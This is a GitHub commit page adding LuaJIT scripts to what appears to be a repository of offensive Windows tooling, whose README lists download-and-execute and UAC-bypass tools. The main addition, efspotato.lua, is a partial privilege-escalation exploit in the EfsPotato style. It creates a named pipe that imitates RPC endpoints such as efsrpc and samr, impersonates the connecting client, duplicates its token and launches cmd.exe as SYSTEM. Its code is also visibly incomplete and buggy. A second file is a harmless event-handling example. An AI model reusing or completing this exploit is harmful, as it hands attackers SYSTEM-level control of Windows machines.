Skip to content

Commit 4118bc1

Browse files
efspotato
Partial efspotato implementation, needs token handling routines and more work. Sample eventcode for event handler
1 parent 078dd10 commit 4118bc1

File tree

3 files changed

+307
-0
lines changed

3 files changed

+307
-0
lines changed

README.md

+2
Original file line numberDiff line numberDiff line change
@@ -23,6 +23,8 @@ very fast to learn and adapt.
2323
| console.lua | Console App Example |
2424
| downloadexec.lua | Download & Exec over HTTP |
2525
| downloadexec_UACbypass.lua | Download & BypassUAC & Exec over HTTP |
26+
| efspotato.lua | Incomplete efspotato |
27+
| eventcode.lua | Example of Windows Event handler |
2628
| filewrite.lua | Write a file |
2729
| howami.lua | Always whoami.exe never howami.lua |
2830
| luajit.exe | LuaJIT compiled from our internal source tree. |

efspotato.lua

+264
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,264 @@
1+
-- Load the FFI library for Windows API
2+
local ffi = require("ffi")
3+
4+
-- include kernel32.dll
5+
local kernel32 = ffi.load("kernel32")
6+
7+
-- Define necessary Windows API types and functions
8+
ffi.cdef[[
9+
typedef int BOOL;
10+
typedef char* LPSTR;
11+
typedef void* LPVOID;
12+
typedef uint32_t DWORD;
13+
typedef void* HANDLE;
14+
typedef int32_t INT;
15+
typedef uint32_t UINT;
16+
typedef int64_t LARGE_INTEGER;
17+
typedef uint32_t ULONG;
18+
typedef uint32_t ULONG_PTR;
19+
20+
typedef struct {
21+
uintptr_t Internal;
22+
uintptr_t InternalHigh;
23+
union {
24+
struct {
25+
uint32_t Offset;
26+
uint32_t OffsetHigh;
27+
} DUMMYSTRUCTNAME;
28+
void* Pointer;
29+
} DUMMYUNIONNAME;
30+
HANDLE hEvent;
31+
} OVERLAPPED;
32+
33+
HANDLE CreateNamedPipeA(
34+
LPSTR lpName,
35+
DWORD dwOpenMode,
36+
DWORD dwPipeMode,
37+
DWORD nMaxInstances,
38+
DWORD nOutBufferSize,
39+
DWORD nInBufferSize,
40+
DWORD nDefaultTimeOut,
41+
LPVOID lpSecurityAttributes
42+
);
43+
BOOL ConnectNamedPipe(HANDLE hNamedPipe, LPVOID lpOverlapped);
44+
DWORD GetLastError();
45+
BOOL ImpersonateNamedPipeClient(HANDLE hNamedPipe);
46+
BOOL CloseHandle(HANDLE hObject);
47+
INT DuplicateTokenEx(HANDLE hToken, DWORD dwDesiredAccess, LPVOID lpTokenAttributes, INT ImpersonationLevel, INT TokenType, LPVOID phNewToken);
48+
HANDLE GetCurrentProcess();
49+
ULONG WaitForSingleObject(HANDLE hHandle, ULONG dwMilliseconds);
50+
DWORD CreateProcessWithTokenW(HANDLE hToken, DWORD dwLogonFlags, LPSTR lpApplicationName, LPSTR lpCommandLine, DWORD dwCreationFlags, LPVOID lpEnvironment, LPSTR lpCurrentDirectory, LPVOID lpStartupInfo, LPVOID lpProcessInformation);
51+
DWORD NtSetInformationToken(HANDLE TokenHandle, INT TokenInformationClass, LPVOID TokenInformation, DWORD TokenInformationLength);
52+
HANDLE CreateEventA(void*, int, int, const char*);
53+
int SetEvent(HANDLE);
54+
]]
55+
56+
-- Constants and variables
57+
local PIPE_ACCESS_DUPLEX = 0x00000003
58+
local PIPE_TYPE_BYTE = 0x00000000
59+
local PIPE_READMODE_BYTE = 0x00000000
60+
local NMPWAIT_USE_DEFAULT_WAIT = 0x00000000
61+
local FILE_FLAG_OVERLAPPED = 0x40000000
62+
local TOKEN_ASSIGN_PRIMARY = 0x0001
63+
local TOKEN_DUPLICATE = 0x0002
64+
local GENERIC_ALL = 0x10000000
65+
local CREATE_NEW_CONSOLE = 0x00000010
66+
local EVENT_ALL_ACCESS = 0x1F0003
67+
local CREATE_EVENT_MANUAL_RESET = 0x0001
68+
local CREATE_EVENT_INITIAL_STATE = 0x0002
69+
70+
-- endpoint pipe name
71+
local endpointPipeName = "efsrpc"
72+
73+
-- Convert endpointPipeName to a char pointer
74+
local userPipeName = ffi.new("char[?]", #endpointPipeName + 1)
75+
ffi.copy(userPipeName, endpointPipeName)
76+
77+
-- Function to create a new named pipe
78+
local function createNamedPipe(pipeName)
79+
local hPipe = ffi.C.CreateNamedPipeA(
80+
ffi.cast("LPSTR", pipeName), -- Use ffi.cast to convert Lua string to LPSTR
81+
PIPE_ACCESS_DUPLEX,
82+
PIPE_TYPE_BYTE,
83+
1, -- Max instances
84+
0, -- Out buffer size
85+
0, -- In buffer size
86+
NMPWAIT_USE_DEFAULT_WAIT,
87+
nil
88+
)
89+
if hPipe == ffi.cast("HANDLE", ffi.cast("uintptr_t", -1)) then
90+
local error = ffi.C.GetLastError()
91+
print("[-] Failed to create named pipe")
92+
print(" |-> Error: " .. error)
93+
return nil
94+
else
95+
print("[+] Named pipe is created successfully.")
96+
print(" [*] Path : " .. pipeName) -- Use the 'pipeName' argument instead of the char pointer
97+
end
98+
return hPipe
99+
end
100+
101+
-- Create userPipeName
102+
local hPipe = createNamedPipe(userPipeName) -- Pass the char pointer
103+
104+
-- default options
105+
local sessionId = 0
106+
local interactive = true
107+
108+
-- Function to enable token privileges (You need to implement this function)
109+
local function enableTokenPrivileges()
110+
-- Implement this function using the C APIs
111+
-- You will need to retrieve the current process token, adjust privileges, etc.
112+
return true;
113+
end
114+
115+
-- Function to check if an element is in a table
116+
local function contains(table, element)
117+
for _, value in ipairs(table) do
118+
if value == element then
119+
return true
120+
end
121+
end
122+
return false
123+
end
124+
125+
-- Function to connect named pipe
126+
local function connectNamedPipe(hPipe)
127+
local overlapped = ffi.new("OVERLAPPED")
128+
overlapped.hEvent = ffi.C.CreateEventA(nil, true, false, nil)
129+
if not ffi.C.ConnectNamedPipe(hPipe, overlapped) then
130+
local error = ffi.C.GetLastError()
131+
if error ~= ERROR_IO_PENDING then
132+
print("[-] Failed to connect named pipe")
133+
print(" |-> Error: " .. error)
134+
ffi.C.CloseHandle(overlapped.hEvent)
135+
return false
136+
end
137+
end
138+
print("[+] Waiting for named pipe connection.")
139+
ffi.C.WaitForSingleObject(overlapped.hEvent, -Globals.Timeout * 10000)
140+
ffi.C.CloseHandle(overlapped.hEvent)
141+
print("[+] Got named pipe connection.")
142+
return true
143+
end
144+
145+
-- Function to impersonate named pipe client
146+
local function impersonateNamedPipeClient(hPipe)
147+
if not ffi.C.ImpersonateNamedPipeClient(hPipe) then
148+
local error = ffi.C.GetLastError()
149+
print("[-] Failed to named pipe impersonation.")
150+
print(" |-> Error: " .. error)
151+
return false
152+
else
153+
local sid = ffi.new("char[?]", 256) -- Adjust the size as needed
154+
print("[+] Named pipe impersonation is successful (SID: " .. ffi.string(sid) .. ").")
155+
ffi.C.CloseHandle(hPipe)
156+
hPipe = ffi.cast("HANDLE", ffi.cast("uintptr_t", -1)) -- Corrected the error in this line
157+
return true
158+
end
159+
end
160+
161+
-- Function to duplicate the current token
162+
local function duplicateCurrentToken()
163+
local hToken = ffi.new("HANDLE[1]")
164+
if ffi.C.DuplicateTokenEx(ffi.C.GetCurrentProcess(), TOKEN_ASSIGN_PRIMARY + TOKEN_DUPLICATE, nil, 2, 1, hToken) == 0 then
165+
local error = ffi.C.GetLastError()
166+
print("[-] Failed to duplicate the current token.")
167+
print(" |-> Error: " .. error)
168+
return nil
169+
end
170+
return hToken[0]
171+
end
172+
173+
-- Function to create a process with a token
174+
local function createProcessWithToken(hToken, command, startupInfo, processInformation)
175+
if ffi.C.CreateProcessWithTokenW(
176+
hToken,
177+
0,
178+
nil,
179+
command,
180+
CREATE_NEW_CONSOLE,
181+
nil,
182+
nil,
183+
startupInfo,
184+
processInformation
185+
) == 0 then
186+
local error = ffi.C.GetLastError()
187+
print("[-] Failed to spawn SYSTEM process.")
188+
print(" |-> Error: " .. error)
189+
return false
190+
else
191+
print("[+] SYSTEM process is executed successfully (PID = " .. processInformation.dwProcessId .. ").")
192+
return true
193+
end
194+
end
195+
196+
-- Entry point for the GetSystem function
197+
local function GetSystem(command, endpointPipeName, sessionId, interactive)
198+
-- Check if the endpoint pipe name is valid
199+
local validEndpoints = {"efsrpc", "lsarpc", "lsass", "netlogon", "samr"}
200+
if not contains(validEndpoints, endpointPipeName:lower()) then
201+
print("[-] Invalid endpoint pipe name is specified.")
202+
return false
203+
else
204+
endpointPipeName = endpointPipeName:lower()
205+
end
206+
207+
-- Check if both sessionId and interactive flags are specified
208+
if sessionId > 0 and interactive then
209+
print("[!] Session ID and interactive mode flag must not be specified at once.")
210+
return false
211+
end
212+
213+
-- Enable necessary token privileges (You need to implement this function)
214+
if not enableTokenPrivileges() then
215+
return false
216+
end
217+
218+
local pipeName = string.format("\\\\.\\pipe\\%s\\pipe\\srvsvc", ffi.string(userPipeName))
219+
local hPipe = createNamedPipe(pipeName)
220+
221+
if hPipe then
222+
if connectNamedPipe(hPipe) then
223+
if impersonateNamedPipeClient(hPipe) then
224+
local hDupToken = duplicateCurrentToken()
225+
226+
if interactive then
227+
local startupInfo = ffi.new("STARTUPINFO")
228+
startupInfo.cb = ffi.sizeof("STARTUPINFO")
229+
local processInformation = ffi.new("PROCESS_INFORMATION")
230+
if not createProcessWithToken(hDupToken, command, startupInfo, processInformation) then
231+
-- Handle the error
232+
end
233+
else
234+
if sessionId > 0 then
235+
-- Adjust session ID
236+
local pInfoBuffer = ffi.new("int32_t[1]", sessionId)
237+
if ffi.C.NtSetInformationToken(hDupToken, 22, pInfoBuffer, 4) ~= 0 then
238+
print("[-] Failed to adjust session ID.")
239+
-- Handle the error
240+
end
241+
end
242+
243+
local startupInfo = ffi.new("STARTUPINFO")
244+
startupInfo.cb = ffi.sizeof("STARTUPINFO")
245+
local processInformation = ffi.new("PROCESS_INFORMATION")
246+
if not createProcessWithToken(hDupToken, command, startupInfo, processInformation) then
247+
-- Handle the error
248+
end
249+
end
250+
251+
ffi.C.CloseHandle(hDupToken)
252+
end
253+
end
254+
end
255+
256+
if hPipe then
257+
ffi.C.CloseHandle(hPipe)
258+
end
259+
260+
print("[*] Done.")
261+
end
262+
263+
-- Call the GetSystem function
264+
GetSystem("cmd.exe", "efsrpc", 0, true)

eventcode.lua

+41
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
-- Load the FFI library
2+
local ffi = require("ffi")
3+
4+
-- Define the necessary Windows API functions and constants
5+
ffi.cdef[[
6+
typedef void* HANDLE;
7+
HANDLE CreateEventA(void*, int, int, const char*);
8+
int SetEvent(HANDLE);
9+
int WaitForSingleObject(HANDLE, unsigned int);
10+
int CloseHandle(HANDLE);
11+
int GetLastError();
12+
]]
13+
14+
-- Constants for event creation
15+
local EVENT_ALL_ACCESS = 0x1F0003
16+
local CREATE_EVENT_MANUAL_RESET = 0x0001
17+
local CREATE_EVENT_INITIAL_STATE = 0x0002
18+
19+
-- Create an event
20+
local event = ffi.C.CreateEventA(nil, CREATE_EVENT_MANUAL_RESET, CREATE_EVENT_INITIAL_STATE, "MyEvent")
21+
22+
if event == nil then
23+
local error_code = ffi.C.GetLastError()
24+
print("Error creating event, error code: " .. error_code)
25+
else
26+
print("Event created successfully")
27+
28+
-- Simulate some work
29+
for i = 1, 5 do
30+
print("Working...")
31+
-- Simulate work by waiting for a few seconds
32+
ffi.C.WaitForSingleObject(event, 5000) -- Wait for 5 seconds
33+
34+
-- Set the event to signaled state
35+
ffi.C.SetEvent(event)
36+
end
37+
38+
-- Close the event handle
39+
ffi.C.CloseHandle(event)
40+
print("Event closed")
41+
end

0 commit comments

Comments
 (0)